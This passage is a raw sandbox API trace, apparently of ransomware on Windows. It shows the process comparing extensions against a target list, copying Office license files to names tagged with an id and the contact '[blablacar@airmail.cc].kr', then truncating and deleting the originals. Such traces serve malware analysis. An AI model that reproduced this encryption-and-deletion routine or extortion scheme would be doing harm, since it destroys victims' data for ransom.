(lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-pl.xrm-ms")) returned 1 [0206.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82 [0206.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82 [0206.042] lstrlenW (lpString=".doc") returned 4 [0206.042] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0206.042] lstrlenW (lpString=".docx") returned 5 [0206.042] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0206.042] lstrlenW (lpString=".pdf") returned 4 [0206.042] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0206.042] lstrlenW (lpString=".xls") returned 4 [0206.042] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0206.042] lstrlenW (lpString=".xlsx") returned 5 [0206.042] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0206.042] lstrlenW (lpString=".ppt") returned 4 [0206.042] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0206.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82 [0206.042] lstrlenW (lpString=".zip") returned 4 [0206.042] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0206.042] lstrlenW (lpString=".rar") returned 4 [0206.042] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0206.042] lstrlenW (lpString=".bz2") returned 4 [0206.042] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0206.042] lstrlenW (lpString=".7z") returned 3 [0206.042] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0206.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82 [0206.042] lstrlenW (lpString=".dbf") returned 4 [0206.042] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0206.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82 [0206.042] lstrlenW (lpString=".1cd") returned 4 [0206.042] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0206.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82 [0206.042] lstrlenW (lpString=".jpg") returned 4 [0206.042] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0206.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82 [0206.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82 [0206.043] lstrlenW (lpString=".doc") returned 4 [0206.043] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0206.043] lstrlenW (lpString=".docx") returned 5 [0206.043] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0206.043] lstrlenW (lpString=".pdf") returned 4 [0206.043] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0206.043] lstrlenW (lpString=".xls") returned 4 [0206.043] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0206.043] lstrlenW (lpString=".xlsx") returned 5 [0206.043] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0206.043] lstrlenW (lpString=".ppt") returned 4 [0206.043] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0206.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82 [0206.043] lstrlenW (lpString=".zip") returned 4 [0206.043] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0206.043] lstrlenW (lpString=".rar") returned 4 [0206.043] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0206.043] lstrlenW (lpString=".bz2") returned 4 [0206.043] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0206.043] lstrlenW (lpString=".7z") returned 3 [0206.043] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0206.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82 [0206.043] lstrlenW (lpString=".dbf") returned 4 [0206.043] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0206.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82 [0206.043] lstrlenW (lpString=".1cd") returned 4 [0206.043] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0206.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82 [0206.043] lstrlenW (lpString=".jpg") returned 4 [0206.044] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0206.044] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0206.044] lstrlenW (lpString="O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 46 [0206.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0206.045] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11235) returned 1 [0206.045] CloseHandle (hObject=0x3c4) returned 1 [0206.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0206.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0206.045] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.045] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0206.050] GetLastError () returned 0x0 [0206.050] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2be3, lpOverlapped=0x0) returned 1 [0206.057] WriteFile (in: hFile=0x564, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2bf0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2bf0, lpOverlapped=0x0) returned 1 [0206.058] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.058] WriteFile (in: hFile=0x564, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x130, lpOverlapped=0x0) returned 1 [0206.058] SetEndOfFile (hFile=0x564) returned 1 [0206.058] CloseHandle (hObject=0x564) returned 1 [0206.058] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.058] SetEndOfFile (hFile=0x3c4) returned 1 [0206.061] CloseHandle (hObject=0x3c4) returned 1 [0206.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.062] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-pl.xrm-ms")) returned 1 [0206.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96 [0206.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96 [0206.063] lstrlenW (lpString=".doc") returned 4 [0206.063] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0206.063] lstrlenW (lpString=".docx") returned 5 [0206.063] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0206.063] lstrlenW (lpString=".pdf") returned 4 [0206.063] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0206.063] lstrlenW (lpString=".xls") returned 4 [0206.063] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0206.063] lstrlenW (lpString=".xlsx") returned 5 [0206.063] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0206.063] lstrlenW (lpString=".ppt") returned 4 [0206.063] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0206.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96 [0206.063] lstrlenW (lpString=".zip") returned 4 [0206.063] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0206.063] lstrlenW (lpString=".rar") returned 4 [0206.063] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0206.063] lstrlenW (lpString=".bz2") returned 4 [0206.063] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0206.063] lstrlenW (lpString=".7z") returned 3 [0206.063] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0206.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96 [0206.063] lstrlenW (lpString=".dbf") returned 4 [0206.063] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0206.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96 [0206.063] lstrlenW (lpString=".1cd") returned 4 [0206.063] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0206.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96 [0206.063] lstrlenW (lpString=".jpg") returned 4 [0206.064] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0206.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96 [0206.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96 [0206.064] lstrlenW (lpString=".doc") returned 4 [0206.064] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0206.064] lstrlenW (lpString=".docx") returned 5 [0206.064] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0206.064] lstrlenW (lpString=".pdf") returned 4 [0206.064] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0206.064] lstrlenW (lpString=".xls") returned 4 [0206.064] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0206.064] lstrlenW (lpString=".xlsx") returned 5 [0206.064] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0206.064] lstrlenW (lpString=".ppt") returned 4 [0206.064] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0206.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96 [0206.064] lstrlenW (lpString=".zip") returned 4 [0206.064] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0206.064] lstrlenW (lpString=".rar") returned 4 [0206.064] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0206.064] lstrlenW (lpString=".bz2") returned 4 [0206.064] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0206.064] lstrlenW (lpString=".7z") returned 3 [0206.064] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0206.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96 [0206.064] lstrlenW (lpString=".dbf") returned 4 [0206.064] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0206.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96 [0206.064] lstrlenW (lpString=".1cd") returned 4 [0206.064] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0206.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96 [0206.064] lstrlenW (lpString=".jpg") returned 4 [0206.064] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0206.065] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0206.065] lstrlenW (lpString="O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 47 [0206.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0206.249] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=23860) returned 1 [0206.249] CloseHandle (hObject=0x53c) returned 1 [0206.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0206.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0206.250] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.250] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0206.251] GetLastError () returned 0x0 [0206.251] ReadFile (in: hFile=0x53c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x5d34, lpOverlapped=0x0) returned 1 [0206.258] WriteFile (in: hFile=0x370, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x5d40, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x5d40, lpOverlapped=0x0) returned 1 [0206.260] ReadFile (in: hFile=0x53c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.260] WriteFile (in: hFile=0x370, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x132, lpOverlapped=0x0) returned 1 [0206.260] SetEndOfFile (hFile=0x370) returned 1 [0206.262] CloseHandle (hObject=0x370) returned 1 [0206.262] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.262] SetEndOfFile (hFile=0x53c) returned 1 [0206.270] CloseHandle (hObject=0x53c) returned 1 [0206.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.271] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ppd.xrm-ms")) returned 1 [0206.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97 [0206.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97 [0206.272] lstrlenW (lpString=".doc") returned 4 [0206.272] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0206.272] lstrlenW (lpString=".docx") returned 5 [0206.272] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0206.272] lstrlenW (lpString=".pdf") returned 4 [0206.272] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0206.272] lstrlenW (lpString=".xls") returned 4 [0206.272] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0206.272] lstrlenW (lpString=".xlsx") returned 5 [0206.272] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0206.272] lstrlenW (lpString=".ppt") returned 4 [0206.272] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0206.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97 [0206.272] lstrlenW (lpString=".zip") returned 4 [0206.272] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0206.272] lstrlenW (lpString=".rar") returned 4 [0206.272] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0206.272] lstrlenW (lpString=".bz2") returned 4 [0206.272] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0206.272] lstrlenW (lpString=".7z") returned 3 [0206.272] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0206.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97 [0206.272] lstrlenW (lpString=".dbf") returned 4 [0206.272] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0206.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97 [0206.273] lstrlenW (lpString=".1cd") returned 4 [0206.273] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0206.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97 [0206.273] lstrlenW (lpString=".jpg") returned 4 [0206.273] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0206.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97 [0206.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97 [0206.273] lstrlenW (lpString=".doc") returned 4 [0206.273] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0206.273] lstrlenW (lpString=".docx") returned 5 [0206.273] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0206.273] lstrlenW (lpString=".pdf") returned 4 [0206.273] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0206.273] lstrlenW (lpString=".xls") returned 4 [0206.273] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0206.273] lstrlenW (lpString=".xlsx") returned 5 [0206.273] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0206.273] lstrlenW (lpString=".ppt") returned 4 [0206.273] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0206.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97 [0206.273] lstrlenW (lpString=".zip") returned 4 [0206.273] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0206.273] lstrlenW (lpString=".rar") returned 4 [0206.273] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0206.273] lstrlenW (lpString=".bz2") returned 4 [0206.273] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0206.273] lstrlenW (lpString=".7z") returned 3 [0206.273] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0206.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97 [0206.273] lstrlenW (lpString=".dbf") returned 4 [0206.273] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0206.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97 [0206.273] lstrlenW (lpString=".1cd") returned 4 [0206.274] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0206.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97 [0206.274] lstrlenW (lpString=".jpg") returned 4 [0206.274] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0206.274] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0206.274] lstrlenW (lpString="O365SmallBusPremR_Subscription1-ul-oob.xrm-ms") returned 45 [0206.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0206.275] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11671) returned 1 [0206.275] CloseHandle (hObject=0x53c) returned 1 [0206.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ul-oob.xrm-ms")) returned 0x220 [0206.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0206.276] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.276] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0206.276] GetLastError () returned 0x0 [0206.276] ReadFile (in: hFile=0x53c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2d97, 